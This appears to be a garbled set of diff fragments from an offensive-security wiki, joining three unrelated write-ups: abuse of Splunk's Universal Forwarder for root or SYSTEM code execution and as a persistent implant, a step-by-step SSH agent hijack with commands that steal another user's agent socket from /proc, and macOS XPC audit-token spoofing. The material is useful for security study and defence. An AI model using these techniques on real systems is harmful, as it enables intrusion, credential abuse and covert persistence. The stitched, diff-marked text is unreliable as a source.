username is always admin, and the password default used to be changeme until 2016 when Splunk required any new installations to set a password of 8 characters or higher. As you will note in my demo, complexity is not a requirement as my agent password is 12345678. A remote attacker can brute force the password without lockout, which is a necessity of a log host, since if the account locked out then logs would no longer be sent to the Splunk server and an attacker could use this to hide their attacks. The following screenshot shows the Universal Forwarder agent, this initial page is accessible without authentication and can be used to enumerate hosts running Splunk Universal Forwarder. - -![0](https://eapolsniper.github.io/assets/2020AUG14/11\_SplunkAgent.png) - -Splunk documentaiton shows using the same Universal Forwarding password for all agents, I don’t remember for sure if this is a requirement or if individual passwords can be set for each agent, but based on documentaiton and memory from when I was a Splunk admin, I believe all agents must use the same password. This means if the password is found or cracked on one system, it is likely to work on all Splunk UF hosts. This has been my personal experience, allowing compromise of hundreds of hosts quickly. - -### Common Password Locations - -I often find the Splunk Universal Forwarding agent plain text password in the following locations on networks: - -1. Active Directory Sysvol/domain.com/Scripts directory. Administrators store the executible and the password together for efficient agent installation. -2. Network file shares hosting IT installation files -3. Wiki or other build note repositories on internal network - -The password can also be accessed in hashed form in Program Files\Splunk\etc\passwd on Windows hosts, and in /opt/Splunk/etc/passwd on Linux and Unix hosts. An attacker can attempt to crack the password using Hashcat, or rent a cloud cracking environment to increase liklihood of cracking the hash. The password is a strong SHA-256 hash and as such a strong, random password is unlikely to be cracked. - -### Impact: - -An attacker with a Splunk Universal Forward Agent password can fully compromise all Splunk hosts in the network and gain SYSTEM or root level permissions on each host. I have successfully used the Splunk agent on Windows, Linux, and Solaris Unix hosts. This vulnerability could allow system credentials to be dumped, sensitive data to be exfiltrated, or ransomware to be installed. This vulnerability is fast, easy to use, and reliable. - -Since Splunk handles logs, an attacker could reconfigure the Universal Forwarder on the first command run to change the Forwarder location, disabling logging to the Splunk SIEM. This would drastically reduce the chances of being caught by the client Blue Team. - -Splunk Universal Forwarder is often seen installed on Domain Controllers for log collection, which could easily allow an attacker to extract the NTDS file, disable antivirus for further exploitation, and/or modify the domain. - -Finally, the Universal Forwarding Agent does not require a license, and can be configured with a password stand alone. As such an attacker can install Universal Forwarder as a backdoor persistence mechanism on hosts, since it is a legitimate application which customers, even those who do not use Splunk, are not likely to remove. - -### Evidence: - -To show an exploitation example I set up a test environment using the latest Splunk version for both the Enterprise Server and the Universal Forwarding agent.

Ideally, the Universal Forwarder agent would not have a port open at all, but rather would poll the Splunk server at regular intervals for instructions. -2. Enable TLS mutual authentication between the clients and server, using individual keys for each client. This would provide very high bi-directional security between all Splunk services. TLS mutual authentication is being heavily implemented in agents and IoT devices, this is the future of trusted device client to server communication. -3. Send all code, single line or script files, in a compressed file which is encrypted and signed by the Splunk server. This does not protect the agent data sent through the API, but protects against malicious Remote Code Execution from a 3rd party. - -#### Remediation Recommendation’s for Splunk customers: - -1. Ensure a very strong password is set for Splunk agents. I recommend at least a 15-character random password, but since these passwords are never typed this could be set to a very large password such as 50 characters. -2. Configure host based firewalls to only allow connections to port 8089/TCP (Universal Forwarder Agent’s port) from the Splunk server. - -### Recommendations for Red Team: - -1. Download a copy of Splunk Universal Forwarder for each operating system, as it is a great light weight signed implant. Good to keep a copy incase Splunk actually fixes this. - -### Exploits/Blogs from other researchers - -Usable public exploits: - +**Usable public exploits:** * https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2 * https://www.exploit-db.com/exploits/46238 * https://www.exploit-db.com/exploits/46487 -Related blog posts: - -* https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/ -* https://medium.com/@airman604/splunk-universal-forwarder-hijacking-5899c3e0e6b2 -* https://www.hurricanelabs.com/splunk-tutorials/using-splunk-as-an-offensive-security-tool - -_\*\* Note: \*\*_ This issue is a serious issue with Splunk systems and it has been exploited by other testers for years.

If your network requires chained ssh sessions (to access a restricted network, for example), agent forwarding becomes extremely helpful. With agent forwarding it’s possible for me to connect from my laptop to my dev server and from there run an svn checkout from yet another server, all without passwords, while keeping my private key safe on my local workstation. - -This can be dangerous, though. A quick web search will reveal several articles indicating this is only safe if the intermediate hosts are trustworthy. Rarely, however, will you find an explanation of _why_ it’s dangerous. - -That’s what this article is for. But first, some background. - -## **How Passwordless Authentication Works** - -When authenticating in normal mode, SSH uses your password to prove that you are who you say you are. The server compares a hash of this password to one it has on file, verifies that the hashes match, and lets you in. - -If an attacker is able to break the encryption used to protect your password while it’s being sent to the server, they can steal the it and log in as you whenever they desire. If an attacker is allowed to perform hundreds of thousands of attempts, they can eventually guess your password. - -A much safer authentication method is [public key authentication](http://www.ibm.com/developerworks/library/l-keyc/index.html), a way of logging in without a password. Public key authentication requires a matched pair of public and private keys. The public key encrypts messages that can only be decrypted with the private key. The remote computer uses its copy of your public key to encrypt a secret message to you. You prove you are you by decrypting the message using your private key and sending the message back to the remote computer. Your private key remains safely on your local computer the entire time, safe from attack. - -The private key is valuable and must be protected, so by default it is stored in an encrypted format. Unfortunately this means entering your encryption passphrase before using it. Many articles suggest using passphrase-less (unencrypted) private keys to avoid this inconvenience. That’s a bad idea, as anyone with access to your workstation (via physical access, theft, or hackery) now also has free access to any computers configured with your public key. - -OpenSSH includes [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), a daemon that runs on your local workstation. It loads a decrypted copy of your private key into memory, so you only have to enter your passphrase once. It then provides a local [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) that the ssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays safely ensconced in the ssh-agent process’ memory while still allowing you to ssh around without typing in passwords. - -## **How ForwardAgent Works** - -Many tasks require “chaining” ssh sessions. Consider my example from earlier: I ssh from my workstation to the dev server. While there, I need to perform an svn update, using the “svn+ssh” protocol. Since it would be silly to leave an unencrypted copy of my super-secret private key on a shared server, I’m now stuck with password authentication. If, however, I enabled “ForwardAgent” in the ssh config on my workstation, ssh uses its built-in tunneling capabilities to create another socket on the dev server that is tunneled back to the ssh-agent socket on my local workstation. This means that the ssh client on the dev server can now send “decrypt this secret message” requests directly back to the ssh-agent running on my workstation, authenticating itself to the svn server without ever having access to my private key. - -## **Why This Can Be Dangerous** - -Simply put, anyone with root privilege on the the intermediate server can make free use of your ssh-agent to authenticate them to other servers. A simple demonstration shows how trivially this can be done. Hostnames and usernames have been changed to protect the innocent. - -My laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this socket is stored in the SSH\_AUTH\_SOCK environment variable: - -``` -mylaptop:~ env|grep SSH_AUTH_SOCK -SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners - -mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners -srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners -``` - -The [ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) program lets us view and interact with keys in the agent: - -``` -mylaptop:~ alice$ ssh-add -l -2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA) -``` - -I have “ForwardAgent yes” in the \~/.ssh/config on my laptop. So ssh is going to create a tunnel connecting the local socket to a local socket on the remote server: - -``` -mylaptop:~ alice$ ssh seattle - -seattle:~ $ env|grep SSH_AUTH_SOCK -SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990 -``` - -Even though my keys are not installed on “seattle”, the ssh client programs are still able to access the agent running on my local machine: - -``` -seattle:~ alice $ ssh-add -l -2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA) -``` - -So… who can we mess with? - -``` -seattle:~ alice $ who -alice pts/0 2012-04-06 18:24 (office.example.com) -bob pts/1 2012-04-03 01:29 (office.example.com) -alice pts/3 2012-04-06 18:31 (office.example.com) -alice pts/5 2012-04-06 18:31 (office.example.com) -alice pts/6 2012-04-06 18:33 (office.example.com) -charlie pts/23 2012-04-06 13:10 (office.example.com) -charlie pts/27 2012-04-03 12:32 (office.example.com) -bob pts/29 2012-04-02 10:58 (office.example.com) -``` - -I’ve never liked Bob. To find his agent connection, I need to find the child process of one of his ssh sessions: - -``` -seattle:~ alice $ sudo -s -[sudo] password for alice: - -seattle:~ root # pstree -p bob -sshd(16816)───bash(16817) - -sshd(25296)───bash(25297)───vim(14308) -``` - -There are several ways for root to view the environment of a running process. On Linux, the data is available in /proc/\/environ. Since it’s stored in NULL-terminated strings, I’ll use tr to convert the NULLs to newlines: - -``` -seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK -SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 -``` - -I now have everything I need to know in order to hijack Bob’s ssh-agent: - -``` -seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l -2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA) -``` - -If I happen to have a specific target in mind, I should now be able to connect directly. Otherwise, just watching the process list or grepping through Bob’s history file should present plenty of targets of opportunity. In this case, I know Bob has all sorts of super secret files stored on the server named “boston”: - -``` -seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston -bob@boston:~$ whoami -bob -``` - -I have succesfully parlayed my root privileges on “seattle” to access as bob on “boston”. I’ll bet I can use that to get him fired. - -## **Protect Yourself!** - -Don’t let your ssh-agent store your keys indefinitely. On OS X, configure your Keychain to lock after inactivity or when your screen locks. On other Unix-y platforms, pass the -t option to ssh-agent so its keys will be removed after seconds. - -Don’t enable agent forwarding when connecting to untrustworthy hosts. Fortunately, the \~/.ssh/config syntax makes this fairly simple: - -``` -Host trustworthyhost - ForwardAgent yes -``` - -``` -Host * - ForwardAgent no -``` - -## **Recommended Reading** - -* [OpenSSH key management](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins -* [An Illustrated Guide to SSH Agent Forwarding](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl -* [ssh-agent manual](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent) -* [ssh-add manual](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) +**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)**

However, **XPC reply**** messages are handled differently. Two functions exist for sending a message that expects a reply: +In an XPC (Cross-Process Communication) environment, although event handlers don't execute concurrently, the handling of reply messages has a unique behavior. Specifically, two distinct methods exist for sending messages that expect a reply: -* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`, in which case the XPC message is received and parsed on the specified queue. -* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`, in which case the XPC message is received and parsed on the current dispatch queue. +1. **`xpc_connection_send_message_with_reply`**: Here, the XPC message is received and processed on a designated queue. +2. **`xpc_connection_send_message_with_reply_sync`**: Conversely, in this method, the XPC message is received and processed on the current dispatch queue. -Therefore, **XPC reply packets may be parsed while an XPC event handler is executing**. While `_xpc_connection_set_creds` does use locking, this only prevents partial overwriting of the audit token, it does not lock the entire connection object, making it possible to **replace the audit token in between the parsing** of a packet and the execution of its event handler. +This distinction is crucial because it allows for the possibility of **reply packets being parsed concurrently with the execution of an XPC event handler**. Notably, while `_xpc_connection_set_creds` does implement locking to safeguard against the partial overwrite of the audit token, it does not extend this protection to the entire connection object. Consequently, this creates a vulnerability where the audit token can be replaced during the interval between the parsing of a packet and the execution of its event handler. -For this scenario we would need: +To exploit this vulnerability, the following setup is required: -* As before, two mach services **`A`** and **`B`** that we can both connect to. -* Again, **`A`** must have an authorization check for a specific action that **`B`** can pass (but our app can’t). -* **`A`** sends us a message that expects a reply. -* We can send a message to **`B`** that it will reply to. +- Two mach services, referred to as **`A`** and **`B`**, both of which can establish a connection. +- Service **`A`** should include an authorization check for a specific action that only **`B`** can perform (the user's application cannot). +- Service **`A`** should send a message that anticipates a reply. +- The user can send a message to **`B`** that it will respond to. -We wait for **`A`** to send us a message that expects a reply (1), instead of replying we take the reply port and use it for a message we send to **`B`** (2).

## Discovery Problems -We spent a long time trying to find other instances, but the conditions made it difficult to search for either statically or dynamically. To search for asynchronous calls to `xpc_connection_get_audit_token`, we used Frida to hook on this function to check if the backtrace includes `_xpc_connection_mach_event` (which means it’s not called from an event handler). But this only finds calls in the process we have currently hooked and from the actions that are actively used. Analysing all reachable mach services in IDA/Ghidra was very time intensive, especially when calls involved the dyld shared cache. We tried scripting this to look for calls to `xpc_connection_get_audit_token` reachable from a block submitted using `dispatch_async`, but parsing blocks and calls passing into the dyld shared cache made this difficult too. After spending a while on this, we decided it would be better to submit what we had. +- **Difficulties in Locating Instances**: Searching for instances of `xpc_connection_get_audit_token` usage was challenging, both statically and dynamically. +- **Methodology**: Frida was employed to hook the `xpc_connection_get_audit_token` function, filtering calls not originating from event handlers. However, this method was limited to the hooked process and required active usage. +- **Analysis Tooling**: Tools like IDA/Ghidra were used for examining reachable mach services, but the process was time-consuming, complicated by calls involving the dyld shared cache. +- **Scripting Limitations**: Attempts to script the analysis for calls to `xpc_connection_get_audit_token` from `dispatch_async` blocks were hindered by complexities in parsing blocks and interactions with the dyld shared cache. ## The fix -In the end, we reported the general issue and the specific issue in `smd`. Apple fixed it only in `smd` by replacing the call to `xpc_connection_get_audit_token` with `xpc_dictionary_get_audit_token`. - -The function `xpc_dictionary_get_audit_token` copies the audit token from the mach message on which this XPC message was received, meaning it is not vulnerable. However, just like `xpc_dictionary_get_audit_token`, this is not part of the public API. For the higher level `NSXPCConnection` API, no clear method exists to get the audit token of the current message, as this abstracts away all messages into method calls. - -It is unclear to us why Apple didn’t apply a more general fix, for example dropping messages that don’t match the saved audit token of the connection. There may be scenarios where the audit token of a process legitimately changes but the connection should stay open (for example, calling `setuid` changes the UID field), but changes like a different PID or PID version are unlikely to be intended. - -In any case, this issue still remains with iOS 17 and macOS 14, so if you want to go and look for it, good luck! - -# References -* For further information check the original post: [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) +- **Reported Issues**: A report was submitted to Apple detailing the general and specific issues found within `smd`. +- **Apple's Response**: Apple addressed the issue in `smd` by substituting `xpc_connection_get_audit_token` with `xpc_dictionary_get_audit_token`. +- **Nature of the Fix**: The `xpc_dictionary_get_audit_token` function is considered secure as it retrieves the audit token directly from the mach message tied to the received XPC message. However, it's not part of the public API, similar to `xpc_connection_get_audit_token`. +- **Absence of a Broader Fix**: It remains unclear why Apple didn't implement a more comprehensive fix, such as discarding messages not aligning with the saved audit token of the connection. The possibility of legitimate audit token changes in certain scenarios (e.g., `setuid` usage) might be a factor. +- **Current Status**: The issue persists in iOS 17 and macOS 14, posing a challenge for those seeking to identify and understand it.
